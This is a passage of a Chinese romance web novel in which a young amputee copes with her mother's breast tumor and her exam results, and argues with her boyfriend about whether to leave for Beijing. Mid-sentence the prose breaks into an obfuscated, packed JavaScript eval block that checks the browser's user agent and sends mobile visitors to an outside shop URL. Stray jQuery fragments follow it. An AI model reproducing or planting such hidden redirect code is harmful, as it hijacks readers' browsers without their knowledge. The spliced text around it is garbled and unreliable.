母亲是在医院晕倒的。
双脚踩在地面上的感觉，对普通人来说，寻常得就像吃饭喝水，我却觉得久违了。
我还没告诉辛晨，打算之后给他一个惊喜。
见我开心，母亲也难得露出了笑容，我挽住她的胳膊，“妈，我今天想吃小龙虾。”
“这么脏的东西，也不知道你们怎么那么喜欢吃。”
母亲对一样东西带有主观偏见，是很难改变的，我撒娇：“偶尔吃一次嘛。”
母亲絮叨着，外面饭店处理不干净，买回去自己做。
说到一半，没了声，身子直直地往下跌，我拽不住她，被她拖倒在地。
护士说是低血糖，没大事。可不知为何，我心慌不已，像是走在茫茫雾色中的山崖上，不知道哪一脚就会踏空。
我强行要求母亲做个体检。我从未这样坚持过。
母亲眼神意味不明地看着我，末了，叹了口气：“行行行，听你的，做。”
一查就查出来乳腺上长了个肿瘤，要知道是良性还是恶性，得做活体穿刺做病理检测。
母亲听到这个消息，出人意料地沉默。
眼泪毫无预期地砸下来，眼前一片模糊，我听到自己声音哑得可怕：“妈，你是不是早就知道？”
母亲说：“也不算是知道，前段时间摸到有肿块，百度了一下，说是可能是肿瘤。”
“那你为什么不来医院看一下？”
“谁知道网上是不是胡说八道的，再说，你要高考了，我哪有空。”
高考高考，怎么什么都要为高考让步？高考有那么重要吗？
我抹掉眼泪，问医生：“最快什么时候能做检测？”
“手术得等安排。”医生边说，边开单子，“先住院吧。”
回家简单收拾了东西，第二天一早办理住院。
我曾在医院住过三个月，母亲陪着我跑上跑下，如今角色颠倒，我方体会到母亲那时的感受。
脑中的弦时刻紧绷着，可能随时会断掉，孤立无援，却要强撑着，不让对方担忧。
这种感觉，母亲足足忍受了三个月。
手术时间安排在星期二的上午。
那天，也是高考出成绩的日子。
我坐在手术室外，消息提示音响个不停，我知道是辛晨，但我没心情看。
直到他打来电话。
自动挂断的前一秒，我按下接通。
“你终于理我了。”背景嘈杂，还有广播播报的声音，他语气轻快，“你今天不是查成绩吗，正好我期末考完了，来陪你一起查。”
“喂？”他疑惑，“徐又宁？你干吗呢？开心傻了？”
“辛晨，”我再忍不住，所有伪装的成熟、理智顷刻瓦解，我像一个濒死之人，紧紧抓住浮木，哽咽着叫他的名字，“辛晨……”
半个小时后，母亲送回病房，辛晨也赶到医院，我拎着保温壶去水房，正好碰到他。
他背着只黑色背包，气喘吁吁，像是从车站直接赶过来的。
“徐阿姨怎么样？”
接电话时哭过，泪干了，一见到他，泪意又不禁在眼眶里涌动。
“病理报告还要过几天才能出来。怎么办，辛晨，我好害怕。万一是恶性……”
那就是癌症。
光是想到这两个字，我就浑身筛糠似的发抖。
他上前一步，抱住我，拍抚我的后背，“别怕，徐阿姨一定吉人自有天相。”
上午，辛晨陪母亲聊天，氛围难得的轻松——这点上，他比我更像母亲亲生的，我和母亲这几年向来没什么话可说。
隔壁病床开玩笑：“女婿啊？真是一表人才。”
母亲礼貌笑笑：“亲戚家孩子，之前在我们家寄住过一段时间。”
我看见辛晨削苹果的手一顿。
只须臾，他又若无其事地切成小块，装到碗里递给我。
苹果脆甜多汁，带着三分的酸，我却味同嚼蜡。
下午开通查询成绩通道，辛晨和我就近找了家网吧。
网页刷了很久，终于刷出界面。
总分六百七十一。
意料之中。
辛晨唇角刚扬起一点笑弧，触及我低落的神情，又收了回去。
我们沉默地走在路上。
到医院门口，我站定，半仰起脸看他，“辛晨，对不起，我可能去不了北京了。”
不管母亲胸上那颗肿瘤是恶性还是良性，我都没法抛下她，独自去那么远的地方。
她像长在我心里的一根刺，拔掉要命，又总叫我痛。
辛晨嘴角抽了抽，扯出一个很勉强的笑，“嗐，陪徐阿姨是应该的，跟我说什么对不起啊，大不了我就像现在一样，一有空就过来找你。”
整整一年的期盼，盼着我去北京，他还提前规划着，一起逛胡同、吃烤羊排、去什刹海看日落、故宫看雪……
现在全落空了。
可他还反过来安慰我。
我垂眸，地上两道影子平行，像是永远无法相交，“辛晨，要不然，我们还是……”
算了吧。
“徐又宁！”
辛晨拉住我的手腕，很紧很紧，像是怕我现在就会在他面前消失似的。他眼底情绪沉得似墨，深处掀起暗涌。
“为什么遇到事情，你第一反应永远是把人推开，自己逃跑？还是说，你从来没有真正在意过我，所以你能这么轻而易举地放弃？
“我已经被我亲生父母抛弃过一次，你不能这么残忍，你知道吗？”
我没应声。
他第一次用这样激烈的语气谴责我。
我想说，我是为他好，异地恋太辛苦，过去这一年，他该体会到了。
我想说，我家里现在这种乌七八糟的情况，他最好不要被拖进来。
可这何尝不是一种自私？
我到底怕他受伤，还是怕自己受不了情至浓时，分崩离析？
与其到时彼此折磨，不如趁现在投入不多，及时止损。
他说得对，我的心比我想象中的狠。
我半点为自己辩护的底气也没有，甚至被他攥得疼了，也只蹙了下眉。
辛晨松开我，手腕一圈绯红指痕，他指腹摩挲着，轻柔的力度像羽毛拂过，痒意通过皮肤直达心底。
我鼻头一阵发酸。
“我不同意。”他说，“只要你不放弃，有任何困难我都可以陪你挺过去；但你要是放弃，我就什么办法也没有了。”
他放轻语气：“拜托你，相信我一次，好不好？”
谁不想有人坚定地选择自己，不离不弃，可是人们来来去去，世事瞬息万变，又有什么是天长地久的？
可他放低姿态，请求我相信他。
你知道鲁珀特之泪吗？
头部坚硬无比，子弹打不穿，液压机压不碎，矛盾的是，轻捏尾部都会导致整体爆裂成粉末。
对我而言，辛晨这句话，就是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507184|202302||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
施在我尾部的力。
我抱住他的腰，在他怀里痛哭。
最后哭累了，看见他衣服上糊满了我的眼泪鼻涕，我不好意思地把家里钥匙给他，“你去洗个澡睡一觉吧，下午我陪我妈就行。”
“你一个人可以吗？”
“放心吧，我对医院比你熟。”
辛晨把我脸上沾着的头发拨开，吻了吻我的眼睛，“有事记得给我打电话，男朋友就是关键时刻用来抗事的。”
我点点头。
目送他离开，我回了病房。
母亲得知我的成绩，满意地点点头，在我说我打算留在本地上大学，她又立即变了脸色。
“我费那么多钱和精力，让你考这么高的分，结果你就这么糟蹋？”
“那我怎么办，不管你吗？”
“我都说了，我不用你操心，你读好你的书就够了。”
“我也不用你牺牲自己来成全我！妈，你什么时候才能明白，这不是爱，是绑架！”
我脸都涨红，胸口起伏不定。
隔壁病床病患和家属噤若寒蝉。
护士敲门提醒：“麻烦小声点，免得影响其他病人休息。”
我低下头，“不好意思。”
母亲冷声说：“徐又宁，你越来越没大没小了，你回去吧，好好反省一下。”
我眼眶热胀，也是气上头了，转身就走。
辛晨这会儿大概还在补觉，我不想打扰他，漫无目的地在街头闲逛。
走久了残肢有点受不了，在一个公园停下休息。
或许是因为大家都成双结对，而我孤零零的，显得很可怜，我迫切地想找一个人说说话。
我发消息给夏天心。
她很快赶来，“哟，没想到你还能想起我。”
我问她：“北京怎么样？”
“怎么说呢，大得让我觉得自己什么也不是，可又觉得有很多施展的空间。”
夏天心坐在我身边，偏过头，“你不是很快要去了吗，问我做什么？”
“你怎么知道？”
“辛晨说的。”她朝我挤挤眼，“他在他们院还挺出名的，可惜名草有主。我有次碰到他，随便套一下话就套出来了。不过我怎么看，都觉得他恨不得昭告天下，才把风声漏给我。”
“我替你考察过了，他规矩得很，跟异性保持距离，一点绯闻没有。”她歪身，肩膀撞我一下，“你真是走大运了，碰到辛晨这么个实心眼。”
我低低地“嗯”了声。
夏天心瞅我，“咋了？情绪不高的样子，吵架了？”
我摇头，“就是有点茫然，不知道能跟他走到哪步。”
“这么患得患失，不像你啊。”她啧声，“陷在爱情里的女人啊。”
“那我应该是什么样的？”
夏天心想了想，“好比爬山，有的人是为了欣赏风景，有的人是为了登顶。你属于后者。你设立了目标，就埋头往上爬，即便你的同伴跟不上你，也不管路上遇到什么，你都不会改变目的地。”
我说：“很自我，很无趣是不是？”
她没否认，“不过后来……反正你现在多了点人情味了，至少愿意分神，注意到爬山之外的事了。”
我知道她说的“后来”指的是车祸截肢。
我和夏天心聊了许久，她心思细，说话直，对我没任何顾虑。也许是打过一架的原因。反倒适合谈心。
直到她受不了喂蚊子，摆手走人。